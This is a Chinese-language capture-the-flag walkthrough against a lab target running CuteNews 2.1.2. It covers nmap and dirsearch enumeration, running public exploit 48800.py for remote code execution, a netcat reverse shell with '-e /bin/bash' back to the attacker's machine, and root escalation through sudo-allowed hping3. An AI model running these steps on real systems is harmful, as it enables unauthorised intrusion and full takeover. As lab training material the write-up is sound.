靶机ip:172.16.33.9
突破
端口扫描
sudo nmap -p- 172.16.33.9 --open
结果如下:
特定端口扫描
sudo nmap -p22,80,88,110,995 -sV -A 172.16.33.9
结果如下:
针对80端口
对其进行路径扫描:
dirsearch -u http://172.16.33.9
对其进行文件扫描:
dirsearch -u http://172.16.33.9 -f -e txt,php,html.pdf
结果如下:
挨个进入尝试,最终在http://172.16.33.9/index.php页面发现管理系统名称及其版本号:cutenews2.1.2
运用searchsploit工具查询其是否有漏洞:
searchsploit cutenews
结果如下:
发现48800.py,其运用了远程代码执行漏洞,下载:
searchsploit -m 48800
查看代码,将其中的所有url部分改成实际情况,例如:
f"{ip}/index.php?mod=main&opt=personal"
结果如下:
按照代码中的提示运行脚本,突破成功:
python3 48800.py
按照提示输入URL :
Enter the URL> http://172.16.33.9
查看id,发现已进入指令模式:
id
结果如下:
通过netcat连接自身kali端主机:
nc <kali端本地ip> 1234 -e /bin/bash
做好侦听:
nc -nvlp 1234
结果如下:
提权
升级终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
或者
/usr/bin/script -qc /bin/bash /dev/null
通过sudo -l进行提权
查看当前用户能使用root权限运行哪些指令:
sudo -l
结果如下:
通过hping3进行提权:
hping3
查看id:
id
结果如下:
提权成功,打靶完成。